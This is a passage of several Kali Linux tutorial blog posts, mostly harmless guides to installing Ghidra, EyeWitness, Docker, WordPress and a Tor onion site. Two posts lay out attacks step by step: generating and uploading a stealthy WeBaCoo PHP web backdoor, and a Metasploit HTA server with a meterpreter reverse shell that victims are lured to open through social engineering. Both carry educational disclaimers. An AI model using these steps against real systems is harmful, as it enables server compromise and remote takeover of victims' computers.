On Kali Linux’s latest 2021.2 update Kali Linux included Ghidra on Kali Linux large image and repository, means now it’s more easier to install and use Ghidra on our Kali Linux system. But, what is Ghidra? A dragon?

What is Ghidra ?

Ghidra is an open-source software reverse engineering (SRE) framework developed by National Security Agency (NSA) Research Directorate of United States, for NSA’s Cyberseurity mission.

The binaries were released at RSA Conference in March 2019; the sources were published one month later on GitHub. Ghidra is seen by many security researchers as a competitor to IDA Pro. The software is written in Java using the Swing framework for the GUI. The decompiler component is written in C++. Ghidra plugins can be developed in Java or in Python (provided via Jython).

It is a Java based GUI reverse engineering framework, it is able to de-compile a application from binary and understand the logic of the code. NSA used it to find malwares inside a application, it also very useful for finding bugs on applications.

How to Install Ghidra on Kali Linux 2021

If we wrote this article before Ghidra comes with Kali (June, 2021, then the installation process will be larger and complex.

But now we just need one command to install it on our Kali Linux system. We need to use following command:

sudo apt install -y ghidra

The above command will install Ghidra on our Kali Linux system. It will download more than 250 MB and take almost 750 MB disk space on our system. So installing it will consume some time depending on our network speed and system configuration. Coffee Break ?.

How to use Ghidra on Kali Linux

After installing Ghidra on our Kali Linux system we can open this GUI based tool by using following command to open it up:

ghidra

The above command will open Ghidra on our Kali Linux system, or we can search for it on Application menu. As we can see on the following screenshot:

Here Ghidra is showing us the “User agreement” to use this tool. We need to read it carefully then click on “I agree” for the very first time of using Ghidra.

After clicking on ‘I agree’ Ghidra will open two window, one for help another is the Ghidra framework’s main screen, we can check the help if we want, but here we close it and focus on Ghidra. It looks like the following screenshot:

Here we can see that we don’t have any active project on our Ghidra. So we need to import a project. We have an exe file here to test. First of all we need to go to  the menu File>New Project, as shown in the following screenshot.

Then we need to select our new project type, here we are choosing non-shared project.

We click on “Next”, now we need to select the project location and name. We have chosen the default home path and named the project as we wish, see the following screenshot below.

Then we click on “Finish”, to complete creating a new project.

On the above screenshot we can see that a new project created on Ghidra.

Now here we can import an application file. For an example we have an exe file. We can directly drag & drop the application file over the project or we can simply press I to import application file for testing, We can also choose from menu File>Import File.

Then we need to choose application file to test as shown in the following screenshot:

Here we have choose an shell.exe file for testing. We select it to import.

We can see some details of importing file, we click on “OK“.

Here in this window we can see the import file summary on Ghidra. We press ‘Enter‘ ↩ key here.

Now Ghidra will import the file and prompt to analyze the application file on CodeBrowser.

We click on “Yes“. Then on a new window we need to select analyzers. There are lots of analysis configuration options do exist. We can see a description of every option by clicking on it, the description is displayed in the upper-right Description section.

Let’s click on Analyze to perform the analysis of the file. Then, we can see the Ghidra CodeBrowser window. We shouldn’t worry if we forget to analyze something, we can reanalyze the program later (by going to the Analysis tab and then Auto Analyze ‘shell.exe’).

Ghidra CodeBrowser

Here we are in Ghidra CodeBrowser. From here we can analysis application data and logic. Ghidra CodeBrowser has a good and well-chosen interface. Let’s briefly know about it.

Let’s see how CodeBrowser is distributed by default:

1. Usually, by default in reverse engineering frameworks, in the center of the screen, Ghidra shows a disassembly view of the application file.
2. As the disassembly level is sometimes a too low-level perspective, Ghidra incorporates its own de-compiler, which is located to the right of the disassembly window. The main function of the program was recognized by a Ghidra signature, and then parameters were automatically generated. Ghidra also allow us to manipulate de-compiled code in a lot of aspects. Of course, a hexadecimal view of the file is also available in the corresponding tab. These three windows (disassembly, de-compiler, and the hexadecimal window) are synchronized, offering different perspectives of the same thing.
3. Ghidra also allow us to easily navigate in the program. For instance, to go to another program section, we can refer to the Program Trees window located in the upper-left margin of CodeBrowser.
4. If we prefer to navigate to a symbol (for example, a program function), then we need to go just below that, to where the Symbols Tree pane is located.
5. If we want to work with data types, then we need to go just below that again, to Data Type Manager.
6. As Ghidra allows scripting reverse engineering tasks, script results are shown in the corresponding window at the bottom. Of-course, the Bookmarks tab is available in the same position, allowing us to create pretty well-documented and organized bookmarks of any memory location for quick access.
7. Ghidra has also a quick access bar at the top.
8. At the topmost part of CodeBrowser, the main bar is located. Now we know the default perspective of Ghidra.
9. Following the current address, the current function is shown.
10. In addition to the current address and the current function, the current disassembly line is shown to complete the contextual information.
11. Finally, at the bottom right, the first field indicates the current address.

Ghidra is highly customizable framework. It has tons of features and also we can run our own scripts on it. Covering every details of Ghidra is not possible on an article. Ghidra is a huge topic we must need an entire book to learn it clearly.

What just we said? A BOOK? We have it. We have a very good book on Ghidra, which one covers Ghidra in total. Check our Telegram Group to get the book. Here is the Ghidra official Cheat Sheet.

Love our articles? Make sure to follow us to get all our articles directly on notification. We are also available on Twitter and GitHub, we post article updates there. To join our KaliLinuxIn family, join our Telegram Group. We are trying to build a community for Linux and Cybersecurity. For anything we always happy to help everyone on the comment section. As we know our comment section is always open to everyone. We read each and every comment and we always reply.

EyeWitness is a tool that is designed for Kali Linux and allows a penetration tester to capture screenshots of a website without leaving the Terminal. It also provide some server header info, and identify default credentials if known.

EyeWitness does all of the work in the background. Imagine having to visually profile multiple websites, open Virtual Network Computing (VNC) servers, and use Remote Desktop Protocols (RDPs). This can be a time-consuming task. EyeWitness takes the screenshots, stores them offline, and generates HTML reports.

EyeWitness comes with Kali Linux repository. We can install it using apt-get install but if we want we also can clone it from GitHub, but here we Kali users download it by using following command:

sudo apt-get install eyewitness

After providing our root superuser password it will start downloading, as we can see in the following screenshot.

Now we can check the help options of this eyewitness tool by using following command:

eyewitness -h

Above command will lead us to the help section of eyewitness tool, as shown in the following screenshot:

Let it run against our own website as a single target. So we need to use following command:

eyewitness --web --timeout 20 --single kalilinux.in

Here we have set –web flag because our target runs on web protocol, we have set the –timeout on 20 seconds (this is optional default is 7 seconds) because we know our website and internet connection both are slow ?. Then we put a –single target.

On the following screenshot we can see the output generated by eyewitness.

This output is saved on home/kali/2021-5-29_102348 (Path will be different for everyone, but mentioned here) as we can see on the above screenshot. It also prompts for opening the report now. Here we press Y and Enter. Then the HTML report will open in front of us on our default browser, as we can see on the following screenshot:

This is for taking screenshot of a single website without visiting it, the left-hand column contains information about the web request, while the right-hand column contains the screenshots.

Now If we have to visually profile multiple websites, open Virtual Network Computing (VNC) servers, and use Remote Desktop Protocols (RDPs) then we need to have a list of all URLs. Here we have one list of URLs separated by new line.

Now we use following command to take screenshot of every URLs on the url.txt file by using following command:

eyewitness -f url.txt --web

Here -f flag used to import targets from a file. If we want to import target from Nmap XML or .Nessus file then we need to use -x flag in the place of -f flag. The output is showing on the following screenshot:

After opening the report we can see is on our browser.

This tool is very handy when profiling multiple services and websites at once. Now that we have completed this article, and we are able to perform web enumeration using the EyeWitness tool on our Kali Linux system.

Love our articles? Make sure to follow us to get all our articles directly on inbox. We are also available on Twitter and GitHub, we post article updates there. To join our family, join our Telegram Group. We are trying to build a community for Linux and Cybersecurity. For anything we always happy to help everyone on the comment section. As we know our comment section is always open to everyone. We read each and every comment and we always reply.

On our Kali Linux (or any other Linux distribution) we might have installed different versions of Python. For using Python version 2.x we generally use python2 command, same as for using Python 3.x versions we use python3 command.

Here assume that we have installed multiple versions of Python3 installed on our system, like we have installed Python3.7 and Python 3.9 both on our Linux system for any reason. So whenever we want to use Python 3.9 we need to type command python3.9 because python3 command using Python 3.7 version as default.

Our advanced Linux users may know this problem and the solution, but this is for beginners.

How to check installed Python versions on Linux?

This can be easily done with a simple command on our Terminal window. The command is following:

ls /usr/bin/python*

In the following screenshot we can see that we have Python2.7, Python3.7 and Python3.9 installed on our system.

Problem

But we can see that python3 command is choosing Python3.7 version as default. But some updated tools needs Python3.9 to run. We can run python3.9 command, but it is annoying we should run python3 to run Python3 latest version, we may modify our .bashrc/.zshrc file but that will not be the correct solution.

We need to set our update-alternatives for python3.

We can check for the alternatives of python3 by running following command:

sudo update-alternatives --config python3

But here we might get an error “update-alternatives: error: no alternatives for python3“.

It means, first we need to set alternatives for python3.

Solved

To set the alternatives for python3 we need to run some commands on our terminal.

First of all we need to run the following command:

sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.7 1

This command will add Python 3.7 on option 1.

Then we need to run following command:

sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.9 2

This command will add Python 3.9 on option 2

We can see this on the following screenshot:

Now we can again run the configure command to check and set the alternatives:

sudo update-alternatives --config python3

In the following screenshot we can see that now we can save the configurations now.

Here we can set the default version for the python3. Here automatically 0 is chosen for Python 3.9 version, we can go for it, otherwise instead of choosing by numbers we can run following command to choose the default python3 version:

sudo update-alternatives  --set python3 /usr/bin/python3.9

Now we can check python3 default version by using following command:

python3 -V

We can see that now our Python 3.9 version is set as default for python3 command:

“update-alternatives: error: no alternatives for python3” is a very common problem for beginners so we thought to write an entire article for it we got too much request to solve this on our Telegram DM. When Python 4 will release some versions of Python 4, we can use the same as we did for Python 3.

Love our articles? Make sure to follow us to get all our articles directly on inbox. We are also available on Twitter and GitHub, we post article updates there. To join our family, join our Telegram Group. We are trying to build a community for Linux and Cybersecurity. For anything we always happy to help everyone on the comment section. As we know our comment section is always open to everyone. We read each and every comment and we always reply.

The second update of Kali Linux in 2021 is live and reday to ROCK.

Say Welcome to Kali Linux 2021.2! This release welcomes a mixture of new items as well as enhancements of existing features, and is ready to be downloaded (from our updated page) or upgraded if you have an existing Kali Linux installation.

A quick summary of the change log since the 2021.1 release from February 2021 is:

kali@kali:~$ dpkg -l 
  | grep ffuf
ii  ffuf             1.3.1-0kali1                        amd64 

Fast web fuzzer written in Go (program)
kali@kali:~$
kali@kali:~$ sudo apt install -y ffuf/kali-bleeding-edge
...
kali@kali:~$
kali@kali:~$ dpkg -l 
  | grep ffuf
ii  ffuf             1.3.1+git20210505.1.f032167-0kali1~jan+nus1 amd64 

Fast web fuzzer written in Go (program)
kali@kali:~$

kali@kali:~$ curl -s -L 'http://http.kali.org/kali/dists/kali-bleeding-edge/main/binary-amd64

/Packages' 
  | awk -F ': ' '/^Package: /{print $2}'
...
kali@kali:~$
kali@kali:~$ curl -s -L 'http://http.kali.org/kali/dists/kali-bleeding-edge/main/binary-amd64/

Packages' 
  | awk -F ': ' '/^Package: /{print $2}' 
  | wc -l
78
kali@kali:~$
kali@kali:~$ curl -s -L 'http://http.kali.org/kali/dists/kali-experimental/main/binary-amd64/

Packages' 
  | awk -F ': ' '/^Package: /{print $2}' 
  | wc -l
192
kali@kali:~$
kali@kali:~$ curl -s -L 'http://http.kali.org/kali/dists/kali-rolling/main/binary-amd64/

Packages' 
  | awk -F ': ' '/^Package: /{print $2}' 
  | wc -l
59518
kali@kali:~$

kali@kali:~$ uname -r
5.10.0-kali7-amd64
kali@kali:~$

...vs...

$ docker run --rm --interactive --tty kalilinux/kali:latest uname -r
5.10.25-linuxkit
$

kali@kali:~$ sudo apt update && sudo apt install -y ghidra code-oss

echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.list

sudo apt update && sudo apt -y full-upgrade

[ -f /var/run/reboot-required ] && sudo reboot -f

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2021.2"
VERSION_ID="2021.2"
VERSION_CODENAME="kali-rolling"

┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP Debian 5.10.28-1kali1 (2021-04-12)

┌──(kali㉿kali)-[~]
└─$ uname -r
5.10.0-kali7-amd64

WeBaCoo (Web Backdoor Cookie) is a web backdoor script tool used to provide a stealth terminal-like connection via HTTP between the client and web server. It is a post exploitation tool capable to maintain access to a compromised web server. WeBaCoo was designed to operate under the radar of modern up-to-dated AV, NIDS, IPS, Network Firewalls and Application Firewalls, proving a stealth mechanism to execute system commands to the compromised server. This Perl script is used for creating backdoor and also we can connect our backdoor by using WeBaCoo.

WeBaCoo comes pre-installed on our Kali Linux machine. It is very easy to use. WeBaCoo has two operation modes:

1. Generation: In this mode (-g), we can generate the backdoor code that contains PHP payloads.
2. Terminal: In this mode (-t), we can connect to the backdoor on the compromised server.

The most interesting feature of WeBaCoo is that the connction between the web server and client is encoded in the HTTP header cookie, so it might not be detected by antivirus, network intrusion detection/prevention systems, network firewalls, and application firewalls.

First we check the help menu of WeBaCoo by using following command on our terminal window:

webacoo -h

In the following screenshot we can see the help of WeBaCoo tool.

Now we are going to create a PHP backdoor using this WeBaCoo by using following command:

webacoo -g -o /home/kali/testbackdoor.php

Here in the above command we have used -g flag to generate the backdoor and -o flag to set the output location (we can choose any output location, here we have choose our home directory i.e. home/kali then the name of output backdoor file).

After applying the above command we can see that our backdoor is created on the following screenshot:

Now it’s time to upload it on vulnerable server or website. Here we assume that the server does not force any restrictions. Such restrictions are those which could specify the required extension(s) of an uploaded file or its type of content. Allowing text or image type files for instance on a web server with no restrictions will allow for an uploaded malicious PHP file to bypass and execute as a web application with no problems.

In the following screenshot we can see that we have uploaded it on a vulnerable web application.

The directory’s path to the uploaded file will show after the upload is successful (highlighted on the above screenshot). This path is the actual location of the uploaded file, we need this to access the payload.

Now we can access the backdoor by using our WeBaCoo tool. To do this we run following command on our terminal.

webacoo -t -u http://127.8.0.1/hackable/uploads/testbackdoor.php

After applying the above command we can see that backdoor is connected. To test it we have run some commands, as we can see in the following screenshot:

Here using (:) colon as a prefix, we can easily control our target by running local OS level commands.

Uploaded files always represent a major risk to web applications. The first step in many attacks is to get some code to the system to be attacked. Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step.

This is how we can use WeBaCoo on our Kali Linux system as a backdoor generator as also as connect to our uploaded backdoor. WeBaCoo is very easy to use and very handy for everyone.

Warning:- Attacking other’s device/network without proper permission is illegal. This article is written for educational and awareness purpose only. Learn the things and stay safe, learning things are not illegal but using the knowledge against law is illegal. We have demonstrate things on the devices/networks that we own.

Love our articles? Make sure to follow us to get all our articles directly on inbox. We are also available on Twitter and GitHub, we post article updates there. To join our family, join our Telegram Group. We are trying to build a community for Linux and Cybersecurity. For anything we always happy to help everyone on the comment section. As we know our comment section is always open to everyone. We read each and every comment and we always reply.

WafW00f is a very useful python script, which is capable of detecting the web application firewall (WAF). This tool is particularly useful when the penetration tester wants to inspect the target web application server and might get a fallback with certain vulnerability assessment techniques, for which the web application is actively protected by a firewall. Thus, detecting the firewall sitting in between application server and Internet traffic not only improves the testing strategy, but also presents exceptional challenges for the penetration tester to develop the advanced evasion techniques.

WafW00f comes pre-installed with Kali Linux. Also we can install it by using sudo apt-get install command. First we check it’s help section by using following command:

wafw00f -h

Then it’s help menu comes in front of us, as we can see in the following screenshot:

Here we can see the basic uses of this tool is very simple. We just need our target URL for this. So we start with this. Here we are going to try it on a example website. So we use following command to attack on our target:

wafw00f https://example.com

On the following screenshot we got the output of the command we had used.

On the above screenshot we can clearly see that our example site is running  behind a WAF (Web Application Firewall).

The result proves that the target application server is running behind the firewall (for example, Edgecast, dotDefender ). Using this information, we could further investigate the possible ways to bypass WAF. These could involve techniques such as the HTTP parameter pollution, null-byte replacement, normalization, and encoding the malicious URL string into hex or Unicode.

If we have a list of websites on a text or csv or json (For csv and json, a ‘url’ column name or element is required.) file then we can test all of then at once by  using following commnd:

wafw00f -i /location/of/file.txt

On the following screenshot we can see the result.

This is how we can check which firewall is used on the website or web application on our Kali Linux system.

Love our articles? Make sure to follow our free email subscription to get all our articles directly on inbox. We are also available on Twitter and GitHub, we post article updates there. To join our family, join our Telegram Group. We are trying to build a community for Linux and Cybersecurity. For anything we always happy to help everyone on the comment section. As we know our comment section is always open to everyone. We read each and every comment and we always reply.

Day by day cyber attacks are increasing. Attackers are using new methods to gain controls on our systems. Now attackers can attack any Windows system by just sending a link. What to do? We need to learn how they do it? Then we can safe us from cyber attacks.

In today’s article we are going to learning about a technique and we also learn how to be safe.

How to do it?

We are using our Kali Linux system for attacking on our Windows system. First of all we open our terminal window on Kali Linux system and open Metasploit console by using following command:

msfconsole

Then the Metasploit Framework will open in front of us as we can see in the following screenshot:

Here we can use following command to use “HTA Web Server”:

use exploit/windows/misc/hta_server

After applying this command this module will be loaded. 

This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. When a user navigates to the HTA file they will be prompted by IE twice before the payload is executed. Let’s use it.

Here we need to set lhost, as we know our listening host is our Kali Linux machine. So we use the IP address of our attacking system here (ip addr or ifconfig command to find it for specific interface). We use our wlan0 interface IP address by using following command:

set lhost 172.20.10.4

Now we set the server host on the same system using same IP address by using following command:

set srvhost 172.20.10.4

Our default payload is selected (windows/meterpreter/reverse_tcp), so we are keep it as default and set our port (any unused port), for example port 8222.

set lport 8222

The following screenshot shows the above process.

Now we just need to exploit it to start our HTA server.

exploit

Now our server is started, as we can see in the following screenshot:

We can see how easy it is to host a malicious server on our system by just using some commands. Now we can send this link to any Windows system on our network. We can send this link various way. The best way is using port forwarding tunnels then, hide the link and mail/sms the target with some social engineering technique to convince target to open the link. We are directly opening this URL directly on our Windows computer.

Whenever they click on the link our HTA file will be downloaded on their computer. If they click on “RUN“, or save it on files and then run it from there we got the meterpreter session.

After starting the meterpreter session we can do whatever with the Windows computer. For more we can run help command.

How to be Safe?

1. First of all we should not open any links we got from email or sms or social media messengers from strangers. Not even from known persons because attackers can fake anyone’s mail id.
2. If anytime we must need to open that kind of link then we should use virtual environments. Then if anything happens it will just effect the Virtual Machine, not our main personal system.
3. Learn about the new techniques, “Learning the things is the best option to be safe”. Well this quote works for every field even on our life.

This is how attacks can attack us by simply sending a link. No installation required for this. We also described how we can be safe from this kind of attacks.

Warning:- Attacking other’s device/network without permission is illegal. This article is written for educational and awareness purpose only. Learn the things and stay safe, learning things are not illegal but using the knowledge against law is illegal. We have demonstrate things on the devices/networks that we own.

Love our articles? Make sure to follow our free email subscription to get all our articles directly on inbox. We are also available on Twitter and GitHub, we post article updates there. To join our family, join our Telegram Group. We are trying to build a community for Linux and Cybersecurity. For anything we always happy to help everyone on the comment section. As we know our comment section is always open to everyone. We read each and every comment and we always reply.

How to Install WordPress on Kali Linux

WordPress is a popular Content Management System (CMS) in the world. We can create our website using WordPress. WordPress is so popular that 37.8% of websites on the internet use WordPress. 75 million sites are online using WordPress.

We can even install WordPress on our localhost. Then create and modify the website. When finally the website is ready we can upload the files on the website’s file manager.

Now in this article we will learn how to install WordPress on our Kali Linux system and use it on our localhost. By installing WordPress we can make our website here or we can use it for penetration testing and finding bugs on the WordPress system.

On the internet there are tons of tutorials on installing WordPress on Kali Linux or any other Linux machines but they are so complicated. We are going to share the easiest way to install WordPress on Kali Linux in just 3 minutes.

Downloading WordPress

Before installing WordPress we need to download WordPress from bitnami’s website. We need to go to this link. It will open bitnami’s official page to download WordPress for various operating systems, as we can see in the following screenshot:

Here on the above screenshot we can see that WordPress is there for Linux also (Highlighted). We need to click on Download for Linux 64-bit. Then it will ask to sign in on Bitnami, but we have an option to continue downloading without signing in.

We need to click on “No thanks, just take me to the download“. Then our download will be started.

After the download process is complete our WordPress installer (run) file will be saved in the Downloads directory.

Installing WordPress on Kali Linux

We have downloaded our WordPress installer on our Downloads directory. Now we need to install it. First we open our terminal window and use cd command to change our directory to Downloads directory:

cd Downloads

Now we are in the Downloads directory. Here we have the downloaded our installer first we need to give it executable permission by using following command:

chmod +x bitnami-wordpress*.run

Now we are ready to run the installer file. We can install it by applying following command:

./bitnami-wordpress*.run

After applying this command we can see an installation window is open to install WordPress.

On the language section we choose “English”, and click on “OK”.

Then We need to do “Next…Next” things as we do on Windows installation and keep everything default.

On the WordPress admin panel & username, password settings we need to setup our username and email to login on our localhost admin panel, as we did in the following screenshot:

Then again “Next…Next” things. On the Cloud deploy we can deploy it on the Bitnami cloud, but we haven’t create a Bitnami account so we can uncheck the cross sign.

After some time we can see our WordPress is installing.

After doing all the things we finally we have installed WordPress on Linux, as we can see on the following screenshot:

Now we can click on “Finish” to finish the installation process and start our Bitnami WordPress. Then we got a window like following screenshot:

Here if we click on “Go to Application” our WordPress will open on Browser (following screenshot). We also got options to open our phpMyAdmin and WordPress installation folder.

Here we need to click on “Access WordPress” to go to our WordPress, and it will open as shown in the following screenshot:

Now we can go to the /wp-admin to login in to our WordPress account.

Here we need to set up our login information we had set during WordPress installation to go to our WordPress admin dashboard on our Kali Linux system.

After that we are in WordPress admin dashboard, as the following screenshot:

Now we can set up the WordPress site and do whatever we want, like practicing our cybersecurity skills on this installation because this WordPress is installed on our own computer, so we are not harming others’ property.

For installing plugins or themes we may need the internet, but we can use this WordPress without the internet.

This is how to install WordPress on our Kali Linux system. This is the easiest WordPress installation on the internet. We can search on Google and check other’s complicated and error producing tutorials, but this process is easy and error less.

Love our articles? Make sure to follow our free email subscription to get all our articles directly on inbox. We are also available on Twitter and GitHub, we post article updates there. To join our family, join our Telegram Group. We are trying to build a community for Linux and Cybersecurity. For anything we always happy to help everyone on the comment section. As we know our comment section is always open to everyone. We read each and every comment and we always reply.

Installing Docker Container on Kali Linux

We have a detailed article about Docker on Kali Linux. Here we are going to discuss in short how we can easily install docker container on our Kali Linux system.

To install Docker on Kali Linux we need to remember that there is already a package named “docker”, therefore Docker has to be installed under a different name. If we install docker we will not end up with the container version. The version we will be installing is named docker.io. All commands are the same however, so running docker on the command line will be the appropriate command.

First of all we need to update our system by using sudo apt update command. Then we need to use following command to install docker container on our Kali Linux system.

sudo apt install -y docker.io

After applying above command docker container will be installed on our system on some time, depending on our system performance and internet speed. After that we need to enable docker service by using following command:

sudo systemctl enable docker --now

Now docker is installed on our system. We can start using docker, with sudo. If we want to add our self to the docker group to use docker without sudo, an additional step is needed. We need to run following command:

sudo usermod -aG docker $USER

The final thing is to logout and in again. That’s all we can use Docker now on our Kali Linux system.

Installing docker-ce on Kali Linux

docker-ce can be installed from Docker repository. One thing to bare in mind, Kali Linux is based on Debian, so we need to use Debian’s current stable version (even though Kali Linux is a rolling distribution). At the time of writing, its “buster”:

printf "%sn" "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-ce-archive-keyring.gpg] https://download.docker.com/linux/debian buster stable" 
  | sudo tee /etc/apt/sources.list.d/docker-ce.list

After applying the above command we need update our sources by using following command:

sudo apt update

After the update is complete we can install the latest version of docker-ce by applying following command:

sudo apt install -y docker-ce docker-ce-cli containerd.io

After finishing the process we have the docker-ce on our Kali Linux system. This is how we can install Docker on our Kali Linux system.

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By following our detailed guide we can host our website or entire web application on deep web with onion domain extension in 5 minutes. We have used Kali Linux for this article but any Debian based Linux distro (Ubuntu, Linux Mint, Parrotos ,ElementaryOS) will work.

In this article we are going to learn how we can host own .onion dark web in Kali Linux.

Install & Configure Tor

First of all we install and configure Tor service on our Kali Linux. To do that we run following command in our Kali Linux Terminal:

sudo apt-get install tor -y

Tor will be installed on our system after we provide our root password. The screenshot of the command is following:

Then we need to configure torrc file located on /etc/tor/torrc . So we apply the following command:

sudo mousepad /etc/tor/torrc

The screenshot is following:

Then we need to find these two lines (highlighted on the above screenshot) and remove # from both line and save the file (uncomment). After doing this this will look like following:

Now we save this file by using CTRL+S, and close this file after saving. Then we restart Tor service by using following command:

sudo service tor restart

Now we create a web page on our desktop called index.html or index.php. We do it by using following command:

cd Desktop && touch index.html

Then we edit the web page file and code a simple website for demo. We open the html/php file in mousepad or any other text editor.

mousepad index.html

Then we write a simple html code for an website like following:

Here is site is created for demo, tht’s why it is so simple. We can host larger web applications. Then we save (CTRL+S) and close this file. This file is in our Desktop, so we start a php based localhost server in our Desktop using following command:

php -S 127.0.0.1:8080

Now the development server of php will be start as we can see in the following screenshot:

Now we check our hosted localhost website, by navigating 127.0.0.1:8080 from our browser.

Here we had started localhost server using php on 8080 port. We can also use port 80 (if it is not already running), but it will require root permission (sudo php -S 127.0.0.1:80). We can also use python server or apache server or any other localhost web server to host localhost website.

sudo -u debian-tor tor

All set, our dark web is hosted. Hey wait, where is the .onion link ?
.onion link is generated randomly. To see our hosted demon dark website’s .onion we open another terminal window (3rd terminal,because we can’t close or use those terminals, otherwise connection will lost.) and type following command to see our Dark Web address:

sudo cat /var/lib/tor/hidden_service/hostname

Now we can access this .onion website with Tor browser from anywhere and any device. Learn more about Tor and Tor Browser read our this tutorial.
This is a demo website for education purpose, but we can host any kind of website on deep web that is not illegal. But we should not abuse this to host illegal websites that voids our federal laws. That will be crime and we are not responsible for that.

Love our articles? Make sure to follow our free email subscription to get all our articles directly on inbox. We are also available on Twitter and GitHub, we post article updates there.

To join our family, join our Telegram Group. We are trying to build a community for Linux and Cybersecurity.

For anything we always happy to help everyone on the comment section. As we know our comment section is always open to everyone. We read each and every comment and we always reply.